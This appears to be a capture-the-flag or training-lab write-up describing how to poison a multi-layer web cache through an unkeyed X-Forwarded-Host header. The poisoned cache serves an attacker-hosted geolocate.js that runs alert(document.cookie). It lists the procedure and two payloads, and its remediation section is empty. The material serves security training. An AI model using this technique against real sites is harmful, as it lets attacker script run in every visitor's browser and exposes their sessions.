SCENARIO

The application is vulnerable to web cache poisoning because it uses multiple layers of caching. We will try to poison the internal cache so that the home page executes alert(document.cookie) in the victim's browser.

**PROCEDURE**

1. Open the web application and send the request for **homepage** to BurpSuite’s Repeater.
2. Observe that any changes to the query string are always reflected in the response. This indicates that the external cache includes this in the cache key. Use Param Miner to add a dynamic cache-buster query parameter. This will allow us to bypass the external cache.
3. Observe that the X-Forwarded-Host header is supported. Add this to our request as in Payload 1.
4. Keep sending the request. Eventually, the URL for the geolocate.js resource will also be overwritten with our exploit server URL. This indicates that this fragment is being cached separately by the internal cache. Notice that we’ve been getting a cache hit for this fragment even with the cache-buster query parameter - the query string is unkeyed by the internal cache.
5. Remove the X-Forwarded-Host header and resend the request. Notice that the internally cached fragment still reflects our exploit server URL, but the other two URLs do not. This indicates that the header is unkeyed by the internal cache but keyed by the external one. Therefore, we can poison the internally cached fragment using this header.
6. Go to the exploit server and create a file at **/js/geolocate.js** containing the Payload 2. Store the exploit.
7. Back in Burp Repeater, disable the dynamic cache buster in the query string and re-add the X-Forwarded-Host header to point to your exploit server.
8. Send the malicious request after removing the cache buster parameter and keep replaying the request until we see our exploit server URL being reflected in the response and **X-Cache: hit** in the headers.

**PAYLOAD**

1. X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
2. alert(document.cookie)

**REMEDIATION**